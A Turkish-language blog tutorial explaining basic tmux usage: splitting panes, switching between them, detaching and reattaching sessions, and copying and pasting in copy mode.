<p><code class="language-plaintext highlighter-rouge">tmux</code> komutunu girdikten sonra, <strong>tmux</strong> oturumunda bash kabuğu çalıştırılıyor. Bu araç üzerinden komutlarımızı girebiliyoruz. Dilersek dikey ve yatay olarak yeni konsol oturumları eklememiz mümkün. <code class="language-plaintext highlighter-rouge">tmux</code> kısayollarını kullanabilmek için öncelikle <kbd>Ctrl</kbd> + <kbd>B</kbd> tuşuna basıyoruz. Daha sonra dikey olarak yeni konsol ekleyeceksek yüzde işareti <kbd>%</kbd> tuşuna basıyoruz.</p>

<p><img src="https://www.linuxdersleri.net/egitim/temel-linux/network/tmux-vertical.webp" alt="tmux-vertical.webp" class="responsive img-zoomable" /></p>

<p>Eğer yatay olarak bölüp yeni konsol oturumu eklenecekse <kbd>Ctrl</kbd> + <kbd>B</kbd> tuşuna bastıktan sonra tırnak işaretini <kbd>“</kbd> oluşturan tuşa basıyoruz.</p>

<p><img src="https://www.linuxdersleri.net/egitim/temel-linux/network/tmux-horizontal.webp" alt="tmux-horizontal.webp" class="responsive img-zoomable" /></p>

<p>Bu konsollar arasında geçiş yapmak için <kbd>Ctrl</kbd> + <kbd>B</kbd> tuşuna bastıktan sonra klavyemizdeki sağ sol yön tuşları ile ilgili konsol oturumuna geçiş yapabiliyoruz. Zaten hangi konsolda olduğunuzu, pencereleri birbirinden ayıran renkli çizgi sayesinde takip edebilirsiniz.</p>

<p><img src="https://www.linuxdersleri.net/egitim/temel-linux/network/tmux-new-sessions.gif" alt="tmux-new-sessions.gif" class="responsive img-zoomable" /></p>

<p>Eğer bir oturumu sonlandırmak istiyorsanız üzerinde bulunduğunuz <code class="language-plaintext highlighter-rouge">tmux</code> oturumunu <code class="language-plaintext highlighter-rouge">exit</code> komutunu girerek kapatabilirsiniz.</p>

<p><img src="https://www.linuxdersleri.net/egitim/temel-linux/network/tmux-exit.gif" alt="tmux-exit.gif" class="responsive img-zoomable" /></p>

<p>Konsol oturumunu sonlandırmak yerine, ilgili konsolun arkaplanda çalışmaya devam etmesini sağlayıp, bu konsol oturumundan geçici süreliğine ayrılmanız da mümkün. Örneğin ben denemek için <code class="language-plaintext highlighter-rouge">tmux</code> komutunu girip yeni bir konsol oturumu başlatıyorum. Ve bu oturumda <code class="language-plaintext highlighter-rouge">top</code> komutunu çalıştırıyorum. Normalde eğer konsol kapanacak olursa bu <code class="language-plaintext highlighter-rouge">top</code> aracı da kapanacağı için çalışmayı sürdürmeyecek. Fakat ben oturumu tamamen kapatmak yerine oturumdan ayrılmak için <kbd>Ctrl</kbd> + <kbd>B</kbd> tuşlamasını yapıp <kbd>D</kbd> tuşuna basıyorum. Buradaki <kbd>D</kbd> tuşu “<strong>detach</strong>” yani “<strong>ayırmak</strong>” ifadesinden gelen bir kısaltma. Bu sayede konsoldaki hiç bir işlem sonlandırılmadan biz konsoldan ayrılmış oluyoruz. Ayrıldığımız oturumları görmek için de <code class="language-plaintext highlighter-rouge">tmux list-sessions</code> komutunu kullanıyoruz.</p>

<p><img src="https://www.linuxdersleri.net/egitim/temel-linux/network/tmux-detach.gif" alt="tmux-detach.gif" class="responsive img-zoomable" /></p>

<p>Ayrıldığımız oturumlara geri dönmek için <code class="language-plaintext highlighter-rouge">tmux attach</code> komutunu kullanabiliyoruz.</p>

<p><img src="https://www.linuxdersleri.net/egitim/temel-linux/network/tmux-attach.gif" alt="tmux-attach.gif" class="responsive img-zoomable" /></p>

<p>Eğer ayrıldığımız birden fazla oturum varsa geçiş yapmak istediğimiz oturumu <code class="language-plaintext highlighter-rouge">tmux attach -t oturum-sayısı</code> komutuyla özel olarak belirtmemiz gerekiyor.</p>

<p><img src="https://www.linuxdersleri.net/egitim/temel-linux/network/tmux-multi-sessions.gif" alt="tmux-multi-sessions.gif" class="responsive img-zoomable" /></p>

<p>Bu yaklaşım sayesinde oturumlarda gerçekleştirilen işlemler sonlandırılmadan, başka konsol oturumlarında çalışabiliyoruz. Örneğin bir konsolda ssh ile bağlantı sağlayıp işlemler gerçekleştiriyorken, bu şekilde konsoldan ayrıldığımızda ssh bağlantısı ve tabii ilgili işlemler arkaplanda devam edecek. Biz de dilediğimiz zaman bu konsol oturumuna dönebileceğiz.</p>

<p>Bu esnek kullanım özelliğine ek olarak, konsol üzerinde kopyalama ve yapıştırma gibi işlemleri gerçekleştirmemiz de mümkün. Bu özellik, komut satırı arayüzünde çalışan tty konsolları üzerinde çalışmamız gerektiğinde, fare kullanamadığımızda işimizi inanılmaz kolaylaştırıyor.</p>

<p>Kopyalamak için <kbd>Ctrl</kbd> + <kbd>B</kbd> tuşlamasından sonra <kbd>[</kbd> sembolünü temsil eden tuşlamayı yapıyoruz. Bu noktadan itibaren imlecimizi mevcut konsol yazıları üzerinde yön tuşları ile rahatça hareket ettirebiliyoruz. Kopyalamak istediğimiz bölümün başına yön tuşları ile geldikten sonra seçme işlemi için <kbd>Ctrl</kbd> + <kbd>Space</kbd> tuşuna bastıktan sonra yine yön tuşları ile ilgili yazı seçiyoruz. Seçme işlemi bittikten sonra <kbd>Ctrl</kbd> + <kbd>W</kbd> tuşu ile seçili metni kopyalıyoruz.</p>

<p>Kopyalanmış olan metni yapıştırmak için de <kbd>Ctrl</kbd> + <kbd>B</kbd> tuşlamasından sonra <kbd>]</kbd> sembolünü temsil eden tuşlamayı yapmamız yeterli oluyor.</p>

<p><img src="https://www.linuxdersleri.net/egitim/temel-linux/network/tmux-copy-paste.gif" alt="tmux-copy-paste.gif" class="responsive img-zoomable" /></p>

<p><code class="language-plaintext highlighter-rouge">tmux</code> aracının en temel kullanımı bu şekilde. Tabii ki aracın kullanımı ve konfigürasyonuna dair pek çok ek ayrıntı mevcut fakat temel kullanım amacı için burada bahsetmiş olduğumuz kadarlık bilgi yeterli. Daha fazlası için ek araştırma yapmakta özgürsünüz.</p>]]></content><author><name>Taylan Özgür Bildik</name></author><category term="blog" /><category term="terminal" /><summary type="html"><![CDATA[Söz konusu konsol araçları olduğunda pek çok alternatife sahibiz. Fakat standart bir konsol yerine tmux aracını tercih etmek konsol üzerindeki verimliliğimizi artırabilir.]]></summary></entry></feed>